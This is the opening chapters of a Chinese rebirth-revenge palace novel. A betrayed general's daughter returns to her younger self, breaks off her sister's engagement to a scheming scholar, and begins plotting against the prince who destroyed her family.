《山河皆她掌中之物》 第一章 百年燕家,终成枯骨 满屋子的药香熏得人几乎作呕,偏偏四下里的门窗严丝合缝。 层层帷幔中的人眉头紧皱,整个人好似从水中捞出来一样,她猛地从被褥中坐起。 冷汗涔涔下的脸蛋苍白如纸。 燕晚清大口喘着气,脑子里嗡嗡作响。 噩梦缠身间,她看见自己满身疮痍被逼到了悬崖峭壁,自己一心扶持的男人得意洋洋的诉说。 说他如何从一个不受宠的皇子,利用她这个蠢笨的燕家嫡长女步步高升,最终挟天子废长立幼的。 说那些年燕家上下百十来口人,是如何被他分崩离析,弄上绝路的。 说她燕家人无惧生死,却甘愿跪地苦苦哀求他饶她一命的…… “百年燕家,终成枯骨。燕晚清,这一切都是你送给孤最好的礼物。” 油尽灯枯的燕晚清,最终被一箭穿心,跌落悬崖,死无全尸。 燕晚清回忆前世种种,伤寒缠身柔弱不堪的身子骨,竟然硬生生咳出了鲜血。 她看着掌心中的一抹鲜红,心中悔恨不已。 她聪明一世,却识人不清,举家交付,满以为能够护住一脉相承,却落得这么一个下场! 如果不是她的扶持,以萧鸿深宫女所生的身份,再怎么有心计也不可能坐上太子之位! 是的,萧鸿深说的没错,这天下是她送给他的。 但她能谋得天下给他,也能谋得天下给别人! 燕晚清一双清眸布满血丝,仇恨怒气将其死死包裹。 既然她活着回来了。 这一世!萧鸿深,咱们不死不休! 外面人听见咳嗽声响,推门而入,燕晚清迅速收敛情绪。 “小姐醒了?”帷幔被掀开来,贴身丫鬟从歌走了进来。 燕晚清一看见从歌,心中又哀痛几分。 上一世,这个丫头和五妹一起死在了朝廷兵戎之下。 从歌一看燕晚清手掌上的血色,大惊失色:“小姐咳血了?” 她拉开帷幔冲着外面大喊:“从欢,快去老夫人那边请大夫!” 燕晚清却摁住了她的手:“不用。” 从歌犹豫:“可是小姐咳血了……” 燕晚清却坚定的摇了摇头。 她这是心病,大夫治不了。 她的恨,她的怨,只能用萧鸿深的心尖血来医! “今日是什么日子?”她接过从歌的帕子,将手掌上的鲜血擦拭干净。 “二月初三。”从歌担忧的看着燕晚清:“王家提亲五小姐的日子。” 这句话好似一个棒槌,猛地敲醒了昏沉的燕晚清。 原来自己重生在了这一天。 她愣了一下,眼角兀自落下一滴泪来。 带着前世的记忆,她知道五妹要嫁的人叫王书剑,靠着污蔑燕家勾敌叛国升官发财的鼠辈! 燕家男丁全部跟随父亲镇国公镇守雁门关,此时已经半年有余。 但燕晚清心里深知只需六月,就会传来战败的消息,紧接着就是雁门关失守,燕家男儿无一生还的消息! 皇帝痛失雁门关,对燕家十四口人战死熟视无睹,却对王书剑凭空捏造的燕家勾结外敌颇为信任,只不过一日的消息,满门抄斩的诏书就到了燕家门口。 而王书剑迎娶燕家五小姐,也不过就是仗着镇国公的身份地位,为自己谋得更好的发展,否则就他一个没有身份背景的穷苦书生,如何能够在人脉关系复杂的京城求得其他发展? 事发之后,他更是大义灭亲把自己和燕家摘的干干净净!还将早产的五妹母子轰出门去! 可怜五妹从嫁过去开始,没有一天的好日子过,吃不饱穿不暖,怀孕期间还被恶婆姑嫂磋磨瘦脱了相,生孩子更是九死一生,可是那时燕家男儿战败讯息刚回京城,燕家上下早已经是顾不自暇,哪里有人会去顾及到五妹的死活? 即便如此,五妹还是在燕家被污蔑造反的时候,拖着虚弱的身躯,抱着稚子和家丁一起拦住军队,以死换得燕晚清逃生! 可怜侄儿都没有满月,就跟着五妹死在了街道上…… 想到前世种种,燕晚清眼角红的几欲滴血。 从歌在一旁看的心惊,感觉小姐这次风寒之后,人变了很多。 她忍不住喊出声,“小姐……” 燕晚清立刻收起脸上的虚弱:“扶我起来更衣。” 这一世,她决不允许五妹再嫁给王书剑这等龌龊之辈! 换好衣服后,燕晚清让从歌给她抹了一层胭脂充当好气色。 此时前院已经传来消息,说王家的人在外等候了。 前世自己疲于风寒,未曾出面,王家顺利和镇国公府定下姻亲,不过月余,王书剑就借此得到了高升机会。 燕晚清上下裹得严严实实,从歌才开了门,一穿着粉色皮袄滚绒的丫头疾步过来,差点撞到了燕晚清。 从歌一把拦住,脸上不好:“从欢,做什么这么冒冒失失的?!” 她想到刚喊着从欢没人应,现在就差点撞到了小姐,表情就更加不善了。 从欢被骂了一嘴,心里有些不服。 她从怀中掏出一个信件,献宝一样越过从歌,递给燕晚清。 “大小姐,这是七皇子送来的信件。” 七皇子,就是萧鸿深。 燕晚清上下打量了一下从欢,没有去接信件。 没有想到从欢竟然这么早就开始替萧鸿深做事了,她涂粉抹香的,此时又掏出信件,不难看出,是被萧鸿深迷了心魂。 也难怪,当初燕家上下百口横死街口,唯独从欢能够苟活七皇子府。 其中肮脏,不难想象。 从欢,是萧鸿深的狗。 见燕晚清面无表情,从欢急了,又将信件往前递了递:“大小姐,这可是七皇子的信件啊,您不看吗?” “滚一边去!”从歌一把推过从欢:“脑子不清楚就出去泡凉水,我们大小姐清清白白,七皇子的信件凭什么通过你递过来?你是想要害小姐传出私相授受的传闻吗?!这事情要是传到了夫人的耳朵里,仔细你怎么死的!” 从歌说的有理有据,燕晚清听得勾了勾唇。 是啊,哪怕是个丫头,都能看的如此清楚。 为什么前世的自己没有看明白呢? 当真是被萧鸿深的一张脸迷了心窍不成? 她暗自挖苦自己。 但当下不是和叛主求荣的恶奴计较的时候,她现在要赶去前厅阻止婚事。 所以燕晚清脚步不停,却回首看了一眼从欢,眼神冰冷。 “跪在院子里,等我回来处置你。” 第二章 传奇是传奇,可惜是女子 从欢被燕晚清眼里的戾气吓得倒退一步,细想之前从歌说的话,又是一身冷汗,老老实实跪在雪地里了。 前厅。 王家来了姑婆外加王书剑三人,身后跟了一两个家丁。 此时三人正坐在客厅里,一杯接着一杯喝着茶水。 这镇国公的茶水到底是不一样,配着糕点吃下,有滋有味。 王氏竟然吃了个满饱,打了个嗝儿。 姑婆二人还觉得不够,又叫丫鬟去准备几碟,准备待会儿带回家享用。 王书剑虽然瞧不上家里女人的行为,但是也没有制止。 只是目光直勾勾的盯着旁边的丫鬟,心想这燕家丫鬟尚且如此绝色,也不知五姑娘又是何等风姿。 镇国公府主母孙氏捏着一串佛珠,端坐于主位,不吭一声。 倒是五姑娘的姨娘宋氏,极力想要促成这门婚事。 王氏见宋姨娘如此积极,心中也有些飘飘然。 能生出个探花郎,对她而言已经是无上荣耀了。 “咱们王家不比镇国公家大业大,给不了多少聘礼,眼下这些已经是我们老王家全部的家当了,还望二位不要嫌弃才是。”王氏展示着屋中间的一个大箱子说道:“五姑娘若是嫁过来,少不了要吃些苦,王家目前一贫如洗,但是我儿前程似锦,吃苦只是暂时的。” 宋姨娘哪里舍得女儿去吃苦。 但这王家嫁过去就是她梦寐以求的正妻之位,于是她说道:“一时的穷苦不要紧,吃得苦中苦方为人上人嘛。” 她当娘的肯定会接济女儿的。 往后探花郎朝中谋得一官半职,再通过镇国公走走关系,以后的日子是完全不用愁的。 更何况王书剑看起来也是仪表堂堂,宋姨娘也相当满意。 王氏见话至于此,该说的都说了,于是道:“既然如此,咱们两家就互换生辰八字,找个先生定下日子如何?” 宋姨娘本想一口答应,但是她还是看向了主位上的孙氏。 这点头,也得是镇国公主母点头才是。 孙氏睁开眼睛看了一眼宋姨娘,只说了一句:“你可想好了?” 宋姨娘本是孙氏的丫鬟,镇国公一次酒醉后才有了五姑娘,整个镇国公府就她们母女像个外人。 为母者,则为子计长远。 宋姨娘觉得自己的人生已经没有盼头了,但是她女儿不一样。 能够嫁一个前途无量的探花郎,五姑娘往后的日子一定是不用愁的,说不定以后女婿争气,地位比镇国公还高呢。 于是宋姨娘点头:“想好了。” 嫁过去就是正妻,王家关系也简单,比吃人不吐骨头的深宅大院强了太多。 王氏见对方同意了,于是笑着拍手:“既然这样也把五姑娘喊出来,让年轻人见见面。” 五姑娘燕红昭本就在屏风后面,此时见丫鬟进来请她,只能硬着头皮走出去。 王书剑一看见燕红昭眼睛就直了。 燕红昭自幼习武身姿挺拔,虽然长相妖艳,眉眼间却有一股英姿勃发的气势,是个难得的绝色美人。 王氏却直接皱起了眉头,脸上也没有了刚才的笑容,只是一直盯着燕红昭打量。 “坊间听闻镇国公府有个幼年从马上摔下来的姑娘,不会是五姑娘吧?”王氏突然开了口。 宋姨娘愣了一下,刚好开口,就被燕红昭提前抢了话。 “是我。” 王氏瞬间打起了退堂鼓,她一把拉住王书剑:“这五姑娘舞刀弄枪,小时候还从马上摔下来过,也不知道还能不能生育,你可是我们老王家的独苗,这万一断了后……” 这话虽然是悄悄的说的,但是客厅静谧的连一根针掉下去都能听得见,所以王氏的那番话被众人听在了耳朵里。 主位上的孙氏拨弄佛珠的手顿了一下。 “亏的是书香门第,生辰八字都还没有交换,就公然讨论女子生育,王家好家风!”无人说话之时,燕晚清裹着一袭狐裘从门外走了进来。 她抬脚跨过门栏,将狐裘兜帽摘下,露出庐山真面目。 只见远山眉黛,双瞳剪水,端的是螓首蛾眉,靡颜腻理,往那一站,便是亭亭而立,一国不换之倾城绝色啊。 看的王书剑手中的扇子都掉在了地上。 燕晚清懒得理会这等龃龉之辈的丑态,她直接上前抓过五妹妹的手腕。 “今日这婚事,我不同意。”她定定的看向燕红昭:“你意向如何?” 燕红昭自从燕晚清出现,眼里的激动就溢于言表,自小大姐姐就是自己崇拜的对象,此时她愿意顶着风寒站出来替自己做主,她心中已经是感激不尽了。 “全凭大姐姐做主。”燕红昭见惯了镇国公府燕家子弟的英雄飒姿,自然瞧不上王书剑这等书生小儿。 肩膀都没有二两肉,连个旋风锤都拿不起来,要来有何用? 燕晚清见燕红昭听自己的,心中当下安稳了几分。 她紧紧抓住五妹妹的手。 还好,现在这个姑娘健健康康的站在自己面前。 她绝对不会再给任何人伤害她的机会! 谁也不可以! 王氏见燕晚清一出来,当下眼中闪过惊艳,但是她心中也十分清楚,像是这般天仙的人物,她的儿子是肖想不上了。 但是五姑娘不一样,这板上钉钉的事情,到嘴的肥肉怎么能够被跑了呢? 她说的这番话无非是想要镇国公再多加一点嫁妆罢了。 只是没有想到突然冒出来的燕晚清会直接否定这个婚事。 于是王氏忍不住开口了。 “这大人之间的事情,你这个小辈怎的有资格插嘴?你自己都没有婚事,平白无故干扰妹妹姻缘是何道理?” 眼看着燕晚清凝眸扫过来,王书剑赶紧拽了一把自己的母亲,生怕她再胡乱说话。 整个京城但凡有点血性的男儿谁不知道镇国公府邸有个女诸葛! 十岁跟随父辈沙场秋点兵,十三岁便能运筹帷幄,不费一兵一卒十字箴言让敌军投降!十五岁孤身入塞北破境内境外不通商贾困境,成就千年难求的丝绸之路! 燕晚清! 一个活在神话中的人物! 如果不是塞北之行伤了本体受不住从军路,只怕这样的女子还要再创更多的传奇! 王书剑心中感慨,传奇是传奇,可惜是女子。 既然是女子就免不了要相夫教子,最终成就男人的辉煌,就像此刻燕红昭舞刀弄枪,往后嫁入王家,也必须洗手作羹汤,替他端茶送水,好好的当个贤妻良母。 王书剑心中有些可惜,但是更多的是身为男儿身的自豪。 第三章 个个金贵,不容宵小惦记 “我母亲乡野出身,不懂规矩,言语上恐有冒失郡主的地方,还望海涵。这五姑娘与小生经双方家长同意,定姻亲已是既定事实,不知郡主因何出来插一脚?古人又云,宁毁十座庙,不破一桩亲,郡主三思而后行啊。” 话说的圆满又漂亮。 燕晚清眼底都是清冷的寒光。 难怪当初能够靠着这三寸不烂之舌蛊惑皇帝对燕家满门抄斩! “王家既是上门提亲,喜娘何在?拜帖何在?无媒无聘,也想娶我镇国公府的女儿?” 王书剑直接反驳:“谁说没有聘礼……” “你是说这个?”燕晚清略带讥讽的看着地上的一个箱子,直接挑衅王书剑身为男人的尊严:“打开看看。” 从歌立刻上前,直接掀开了箱子,之间偌大的箱子里,竟然零零散散的摆着几个头饰簪花,实在是磕碜的很。 眼下宋姨娘看到这个画面也绷不住了。 她上前看了一眼,脸色铁青:“这是什么?” 这么大的箱子,里面竟然只装着几个头饰! “本以为镇国公府大家风范不慕名利,却也纠结于聘礼多少,这些物件已经是我们王家全部的家底,甚至还是我母亲的嫁妆,甚微,却贵在真诚,千金难买一片真心!本以为郡主不同于寻常女子,却没有想到也是这般肤浅,真是寒了天下莘莘学子的心!” 王书剑痛心疾首的说道。 燕晚清冷笑。 此人油嘴滑舌,非常能说,白的能说成黑的,若真是要与其辩论,只怕是会又臭又长。 天下人都以为她燕晚清最重礼数,最讲道理。 上一世她确实是的。 可惜人重活一次,总有些东西要变。 这一世她不为虚名,不为天下,只为自己和燕家! 天下人的看法如何与她何干? “笑话!你无媒无聘便是失礼在先,口出狂言便是无礼在后,当真以为自己当了探花,整个京都的女儿家便能任你挑选了是吧?”燕晚清声音洪亮清晰,清澈的传到了每个人的耳中。 王书剑面红耳赤:“你虽贵为郡主,但也不能污蔑于我!这长辈答应了的事情,郡主突然冲出来否决,是否也是无礼?” “主母可有亲口应允这桩婚事?婚书八字可有当场交换?”燕晚清知道,前世这些还是母亲后来为之补办的,王家根本就没有在乎过五妹妹! 五妹妹只不过是王书剑往上爬的一个藤蔓! 谁会在乎一根藤蔓的死活? 可怜宋姨娘一心想要女儿当正房娘子,却最终将其推向了更可怕的深渊…… “什么都没有。”燕晚清放缓了声音,但是王书剑却觉得脊梁骨森凉:“你凭什么说我燕家女许给了你王家?!” 王氏一把将呆愣的儿子护在身后,她冷下脸来:“不过是个不能生育的女子,镇国公府的女儿金贵,咱们王家不娶了便是!出门咱便要找人问问,在京都这是何道理!” 今日她必定要好好替镇国公大肆宣传,看看以后谁还敢娶燕家的女儿! 如此泼辣,如此狠毒! “王公子。”燕晚清也不理会那王氏,反而直勾勾的盯着王书剑:“京城是个多是非的地方,许多灾祸都从口出,王公子前途无量,可不要折在了口舌之争上。” 此话说的王书剑汗流浃背。 他确实是刚中探花,心中得意马蹄疾的时刻。 但是镇国公百年根基,军功显赫,自己如何撼动?这不是蚍蜉撼大树嘛! 可是这口气如何才能咽下?! 王书剑铁青着脸,想到之前人的交代,让他无论如何都要娶了燕家五小姐,这是他往后加官进爵最关键的一步! 是了,大丈夫能屈能伸。 于是王书剑甩掉母亲的手,蓦地跪在了地上,面容哀愁看向燕红昭:“五姑娘,小生求娶心切,却奈何家境寒酸,但小生以真心发誓,只要五小姐愿意嫁给小生,小生愿与五姑娘一生一世一双人……” 话还没有听完,便见气愤的燕红昭直接抬脚踹翻了王书剑:“登徒子!” 那一脚直接揣在了他的心窝,疼的王书剑五官都变了形。 “没皮没脸的东西,家中长辈都在,求娶不成,胆敢用些孟浪词句羞恶我燕家姑娘。”燕晚清将燕红昭拉着往后退了两步:“来人,把王家人请出去!” 她环顾四周,举起燕红昭的手,傲视众人,沉声说道。 “今天我燕晚清把话放在这里,我燕家的姑娘各个金贵,容不得任何宵小惦记,谁若是想娶我燕家的姑娘,定要三书六聘,八抬大轿风风光光的娶回去,若是有人存了些龃龉的心思,想要踩着我燕家姑娘往上爬,趁早断了这个念想!我镇国公府百年基业,刚正不阿,更有先帝御赐尚方宝剑,可斩尽天下龌龊之流!绝不容忍此等臭虫玷污朝纲!” 王家人连带着那个磕碜的空箱子,一起被丢到了府邸大门口。 小厮将燕晚清的话在大门口高声朗诵,羞的王书剑恨不得直接挖个坑把自己埋进去! 本是板上钉钉的事情,却因为燕晚清的出现被搅了局,他家都来不及回,丢下母亲和小妹,就往别处去了。 与此同时,燕晚清掀开裙摆,直勾勾的跪在了孙氏面前。 “请母亲责罚。” 屋内众人神色紧张的看向主位。 孙氏将佛珠套在了手腕上:“这是何意?” 燕晚清低下头颅:“女儿未能提前告知母亲,贸然出现阻了五妹的婚事,有失体统,请母亲责罚。” 孙氏不说话。 燕红昭看着大姐姐跪地的单薄身影,有些急了,但是她也不敢和主母叫板。 于是。 宋姨娘被身边的燕红昭推了一下。 宋姨娘先是看了一眼不知道在想什么的孙氏,心中百感交集。 如果不是大小姐出现,此番婚事必然已经定下,王家不是良配,往后红昭的日子怕是水深火热,她为女谋划正妻之位,却也不想推其如火海。 都道是大小姐性子冷凉薄,又上过战场见惯了生死,必定不会在意这庶妹,可谁曾想她今日竟然会站出来…… 想到这里宋姨娘眼眶微热。 她刚要说话,孙氏就先开了口。 “知错还不向姨娘认错?” 第四章 既然想玩,奉陪到底 当下燕晚清便站起了身子走向宋姨娘,刚要拜下去,宋姨娘赶紧抓住她的手:“使不得!大小姐何错之有?若不是大小姐,只怕红昭就要抱憾终身了,这王家不是好姻亲,姨娘看走了眼……” 燕红昭也赶紧说道:“谢谢大姐姐救我。” 燕晚清回握住姨娘的手,在她诧异的目光中,一字一句:“他日我定会给五妹寻一桩好的姻亲,姨娘放心。” “哎……好!”宋姨娘已经激动落泪了。 她知道燕晚清从不轻易许诺,既然说出口,那必定是会做到的。 又说了些许话,燕红昭才扶了宋姨娘回房休息了。 燕晚清跟着孙氏回到了后院,才进屋,她便红了眼眶。 “哭什么?你要闹的,现在又委屈上了?”孙氏拿出帕子,给燕晚清擦拭眼角的泪水,语气柔和了不少。 燕晚清摇了摇头,她又想哭又想笑。 孙氏平日不多言语,看起来不好相与,但是这么多年镇国公南征北战,孙氏凭借一己之力将府内大大小小一手包揽,姊妹相亲,兄弟和睦,燕家上下其乐融融,唯独她深藏功与名,一心吃斋念佛,为燕家上下求平安。 前世,燕家满门抄斩的诏书下来,人心惶惶。 唯有孙氏当下便拿着太上皇御赐宝剑自刎于镇国公大门口,以死要求皇族彻查叛国真相,燕晚清到现在都还记得,母亲脖颈处的鲜血,喷洒足足一丈有余,将那日春礼刚换下来的灯笼染上点点红梅…… 现在能看到母亲活生生的站在自己面前,燕晚清再是冷情之人,也激动落下泪来。 孙氏却在心中自责,是否刚刚过于苛责她了,饶是名声在外近诸葛,那也是个刚刚及笄没几年的女娇娥啊。 想到这里,孙氏将其抱在怀中,肢体有些僵硬的摸了摸她的头。 “莫要怪娘亲,你姨娘一个人不容易,想要红昭嫁个好郎君这也无可厚非,你出手阻拦,娘也不好说什么,好在你姨娘明事理,不怪你。” 燕晚清埋在她的胸前,闷闷的挤出一个鼻音:“嗯。” 孙氏鲜少见到女儿如此娇憨,心中更是软了几分:“风寒可有好转?可要再吃些汤药巩固?” “不吃,苦。” 孙氏难得打趣:“小娃娃,当年随你父亲南征北战粗糠烂菜都咽的下,现在伤寒药吃不得了?” 燕晚清摇头:“不一样。” 孙氏点了点她的小鼻子:“好好好,让从歌再去熬些药,娘亲给你做糕点漱口?” “那女儿就勉为其难吃些汤药。” 孙氏眼里都是溢出的笑意,大女儿难得和她亲近,自己这个做母亲的倒有些受宠若惊,看着她微微咳嗽,孙氏心里又是一番心疼。 等孙氏领人进了书房,燕晚清就坐在她的房间里等。 不多时从歌就一脸严肃的进来。 “小姐。”从歌得了燕晚清的命令,从王书剑被轰出门便跟上了:“他这人不回家,径直去了花街柳巷,还好和五小姐的事情没成,道貌岸然,伪君子做派!” 燕晚清将手中的棋子轻轻放下,声音很沉静,无端抚平了从歌心中的暴躁。 “然后呢?” “后面奴婢就没能跟进去了,不过他神色慌张,没搭理老鸨直接上了楼……”从歌想到那地方莺莺燕燕的,一时之间有些难以启齿。 燕晚清点了点头:“我知道了。” 王书剑刚中探花,便大张旗鼓来镇国公提亲,只求庶女为正妻,这是个大概率会成功的求娶。 重活一世,她将前世种种全部重新罗列下来,发现一切的变数都因这门婚事。 现在她驳了这门婚事,便想看王书剑会有所为。 果然不出她所料,这龌龊之辈背后有高人指点。 从歌出去熬药,燕晚清执白子,皓腕凝霜雪,她微微勾唇,淡若清风。 这盘针对镇国公的棋盘竟然从这个时候就已经布下了。 王书剑背后之人的身份,便是棋盘破译的关键。 “既然想玩,那我就奉陪到底。” 白子落下,目无章法,好似搅局,但纵观全局,却见白子所落之处,吃去数片黑子,一时之间棋局风云变幻,从必败之局重新划分,此时竟然胜负未分了! 她这一世不按常理,偏要当个搅局之人,纵使拿满朝文武为棋子,也定要幕后之人不得好死! 京都最出名的花街柳巷。 上好的天字房里,没有姑娘,却坐着两个男人。 再看其中一人,赫然就是王书剑。 他虽然捏着酒杯,那杯中酒水早已撒了一桌,双手颤颤巍巍,再不若在镇国公府口若悬河模样,此时磕磕巴巴只想表忠心。 对面之人却根本不吃这一套。 “这么简单的一件事都不做好,要你何用?” 这至关重要的一步,满盘算下必是万无一失的一步!怎么就会失败了? 想不明白。 “你说阻你之人是燕家大小姐燕晚清?” 王书剑赶紧回答:“正是!刚要交换生辰八字,那燕晚清便出来阻了婚事。” “哼。”那人冷笑两声:“可我怎么听说是你拿不出像样的彩礼,才被那燕晚清抓住了把柄,轰出门外。” 王书剑额头冒冷汗,余光中,见那人手握一柄短小蛇形匕首,匕首柄处一颗红宝石熠熠生辉,泛着森冷吃人的光。 “王书剑,你可知坏了我的好事?!” 那匕首已经放在了王书剑的脖颈处,他一身冷汗,双手合十恨不得跪地求饶。 “请您,再,再给一次机会!” 锋利的匕首蛇尖已经舔出一道红痕,王书剑动都不敢动了,生怕这阴厉狠辣之人杀了自己。 似乎是被王书剑恐惧的表情愉悦到了,那人收回了匕首:“三日后,燕家女眷南山赏梅,你把这药下到燕晚清的斋饭里。” 一个小白瓶被放在桌子上。 “王书剑,这是你最后一次机会。” 王书剑赶紧将小白瓶捏在手中,从椅子上滚下跪在了地上。“定不辱使命!” …… 燕晚清的风寒在吃了最后一帖药之后,总算有了好转,趁着日头大,她进了一趟宫。 母亲孙氏的娘家姐姐,也就是她的表姐孙涟漪,正直盛宠,乃是当朝的贵妃。 当下贵妃宫内各类奇珍异宝琳琅满目铺陈于外,箱子是放也放不下,不难想表姐此时有多受宠。 可燕晚清知道。 就在六月后,镇国公倾倒,孙家连坐,表姐首当其冲被宦官勒死在了深宫之中。 第五章 谋其则生,不谋则死 “妹妹今日怎有空来看看本宫?”孙涟漪刚怀上孩子,小心翼翼的坐在了燕晚清的对面,宫里的嬷嬷细心替她铺好软垫,又拿了毯子给其盖在腿上。 燕晚清目光落在她的小腹上,眼里闪过一丝哀伤。 她还记得当时表姐正是难产,可是皇帝冷血无情,诏书突下,产房成了坟墓,可怜表姐连儿带母至此长眠。 孙涟漪见燕晚清不肯说话,于是挥手让嬷嬷丫鬟全部下去。 室内只剩下她们二人时,她才走了过去,拉住燕晚清的手坐在旁边。 “可是发生了什么事?和表姐说说。” 头一次看燕晚清如此神情凝重,孙涟漪心中咯噔一声,她知道大事不好。 倘若多智而近妖的表妹都处理不了,那么必定是全族性命攸关的大事了。 “表姐可信我?”燕晚清抬头看向孙涟漪,只说了这句。 “自然是信的,到底如何?卿之你可别吓我。”孙涟漪心急之下,喊了燕晚清的小字。 燕晚清环顾四周琳琅满目,只觉这帝王之心着实可怕,总是不经意间便麻痹一个人,然后趁其不备,取其七寸,至死方休! 她一字一句,清晰道出自己进宫的目的。 “燕孙两家男儿镇守雁门关已半年有余,此间驯养两地的信鸽却不断被射杀,表姐可知?” “这,我不知。许是家中人怕我担心,未曾告知。”孙涟漪并不愚笨,她此时已然能猜出三分,但是她不敢往这里想。 “雁门关易守难攻,百年来从未有人攻下,一次小小的镇乱便让燕孙全族男儿全部上线,年轻一辈历练倒也足够,可为何偏偏要让镇国公和威猛大将军一起前去?表姐不觉得有些小题大做了吗?” 威猛大将军是孙家家主,孙涟漪的父亲。 “许是让父辈照看这些年轻一辈……”这话说出来孙涟漪自己都不信,她抓着燕晚清的手很用力,骨节发白:“可是,可是我都已经进宫了,为何还要如此?” 她身为沈家的嫡长女,及笄之日入宫,便是燕沈两家向皇帝表达忠心。 否则她何苦进宫嫁给皇帝? 纵使他一国之主,但是也难掩他已经年入花甲的事实啊! 自从孙燕两家联姻,孙氏嫁给镇国公,随着时间推移,双方便已然猜到皇帝会心存猜忌,为此镇国公陆续上交了不少兵权,沈家也献出了嫡长女进宫为妃。 燕晚清咬紧牙关,她比任何人都想知道皇帝究竟为何! 这万里山河每一寸都有她父亲镇国公的血泪,皇帝高居庙堂稳稳安坐,凭什么容不下她们燕家之人! 她十岁便替这皇族卖命,十五岁伤了身子也要走出的丝绸之路,贯通南北商贾,一举将大渭这弹丸之地推向六国之首,让皇帝每年接受六朝供奉,威风八面……到头来却换了满门抄斩的诏书! 王书剑一己之言的蛊惑能成什么大事,不过是皇帝顺水推舟,成就心中早已谋定之事罢了。 燕晚清满眼哀痛,眼角猩红,字字泣血:“因为……君要臣死,臣不得不死!” 听到这句话,孙涟漪经不住腿脚发软,如果不是燕晚清眼疾手快拉了一把,她怕是已经瘫坐在了地上。 “你可知你在说什么!你说的这些根本没有依据!”孙涟漪指着燕晚清,她眼中大骇:“这话要是被人知道,可是死罪!” “表姐难道没有猜到吗?”燕晚清将案几上的盒子猛地推倒在地上,盒子本就盖不拢,倒地的瞬间倾倒出各式各样的金银珠宝,一时之间室内熠熠生辉。 “表姐若是猜不到,岂会将这些东西堂而皇之的摆在外面!”以孙家的教导,孙涟漪又岂会是那平庸之辈。 燕晚清根本不相信孙涟漪没有想法。 后宫佳丽三千人,三千宠爱于一身! 是宠爱,也是毒药! 可她没有办法,她越是低调内敛就越会引人猜忌,但她如果高调张扬,反倒是会安全一些。 孙涟漪如此这般,防的根本不是后宫的女子,而是那后宫簇拥中唯一的男子! 是皇帝! 燕晚清蓦地跪在了孙涟漪前面,双手放在了她的膝盖上:“表姐,雁门关将成英雄冢,但京城孙燕两家百口人尚且存活,你我二人谋其生则生,不谋……”她又想起了那天,漫天血舞,尽是凄厉哀嚎,声音不由得有些哽咽:“则死啊!” 无论如何,她也不想再让前世重演,让燕孙两家百口人命丧长街,灭子绝孙! “表姐若是不信,不出月余,便会有诏书令我南下江南处理水灾。” “江南水灾早有所闻,你一介女子处理此事,颇有不妥,怎会下此诏书?”孙涟漪不信,燕晚清贵为郡主,又有“女诸葛”之名,但已回京四年,待字闺中,于情于理,都是大大的不妥。 燕晚清摇了摇头,她也知道不妥,但是萧鸿深力排众议推她下江南,皇帝沉默三日,竟然答应了这个荒诞的提议。 如此等她从江南回京,距离出事不过月余,她意识到形势不对,却也为时已晚,为护家中老小性命,她不得已投诚于萧鸿深,至此推他入东宫,也推了燕家入黄泉! 一步一步,都是算计! “表姐若是与我谋,我走后打开锦囊。”她袖口掏出一个青花小锦囊放在孙涟漪冰凉的手中,然后紧紧包裹中,露出一个惨淡的微笑。 “表姐若是不与我谋,我也定会护你我两家周全,为此,我在所不惜,只愿表姐届时不要拦我。” 孙涟漪怀有麟儿,每一步都得斟酌再三,所以她的顾虑,燕晚清十分清楚。 可若非结局已经注定,今天无论如何她都不愿走入宫这一趟的。 红楼高墙,将一方天地都囚于其中。 燕晚清走于危墙之下,只得斟酌盘算,步步算计,怕稍有不慎,满盘皆输。 从歌见她出来,赶紧迎了上来,才扶上手顿时惊呼:“小姐!” 燕晚清死死捏住她的手,轻微摇了摇头。 此时她周身冷汗涔涔,手脚发凉,在宫闱之内才顿觉这铺天盖地的大网席卷而来,压得她几乎就要背过气去。 但是她不能倒下。 她不能给任何人露出虚弱的表情,一旦被人抓住把柄,只会加速燕孙两家的灭亡。 第六章 淡的小姐我,心生不喜 “扶着我走。”燕晚清深吸一口气吩咐道,从歌眼圈发红,搀扶着她徐徐上前。 主仆二人刚走了些路,便被一个婢子拦住了去路。 “郡主,我家主子有请。” 婢子一袭青衫,周身并无半点点缀,整个人轻描淡写的如同画上的袅袅炊烟。 燕晚清却在看见她的瞬间,眸中闪过一丝杀意。 婢子不是别人,正是萧鸿深身边最为隐藏的刀——墨山。 前世就是这把刀朝着自己射出了生命中的最后一箭。 “好生无礼的丫头,请我家小姐得提前下拜帖,哪有拦路请人的道理。”从歌美目圆瞪说道,自家小姐现在是什么情况她心里清楚,得赶紧回府休憩才是。 墨山却不搭理从歌,低眉顺眼的站在路中间。 燕晚清知道这是在等她的答复,她轻笑一声。 今日本来是带着从歌从欢两个丫头,现在只剩下从歌一人跟在自己身边,从欢却找不到身影,料想也是去通风报信了。 不过这本就是自己带她出来的意图。 “南山梅花宴,菩提树下。”燕晚清吐出几个字,便抬脚往前走,这次墨山不再拦路,侧身让到了一边,声音沉稳而来:“主子定会如约而至。” 燕晚清不做停留,在从歌的搀扶下往宫门走去,马车停在那里。 “怎么不说话?”燕晚清余光瞥到从歌拧着眉头的模样,顿觉有趣。 从歌见自家小姐打趣,于是说道:“小姐,定是从欢那丫头……” “我知道。”燕晚清十分淡定。 “小姐知道为什么还——”从歌突然打住,她瞪大眼睛看燕晚清:“小姐是故意的?” 燕晚清却不搭话,反而说道:“从歌,这梅香扑鼻,颜色却着实淡雅了些。” 从歌闻言回眸看着从宫门探出来的黄色枝头,鼻息间都是清香,耳边是燕晚清不带任何情绪的声音。 “淡的小姐我,心生不喜。” …… 主仆二人出了宫门,从歌远远的就看见从欢靠在马车上假寐,她登时就冷下了脸。 “这个贱蹄子,竟然还有心情睡觉。” 燕晚清知道从歌是嫉恶如仇的性子,拍了拍她的手背。 从歌到底是没忍住,走过去后狠狠的推了从欢一把。 从欢被推的差点从马车上摔下来,气得整个人都要炸了,直接冲着燕晚清告状:“小姐您看从歌她——” 燕晚清淡淡的扫了她一眼,古井无波的眼神,却有着铺天盖地的威压。 从欢小脸一白,满腹的话语,被噎在了喉咙里。 从歌见状冷笑一声,语气不善:“真是个惯会偷懒的,午觉可睡得舒适?没皮没脸的东西,别挡着小姐上马车,滚!” 从欢哪里受过这个委屈,双眼通红,眼泪一下子就出来了,她眼巴巴的看着燕晚清,可是燕晚清就像是没有看见一样,掀开帘子进了马车内。 怎么会这样呢? 以前的燕晚清最是宠她,好吃的好玩的都会留给她一份,从歌骂她,小姐也会帮她说话,也见不得她落泪,可是从什么时候开始,燕晚清变了呢? 是从上次她给七皇子传信?可是她也是为了小姐好啊,小姐年纪大了身体也差,七皇子又俊美又优秀,说话还温柔,小姐真是不识好歹了。 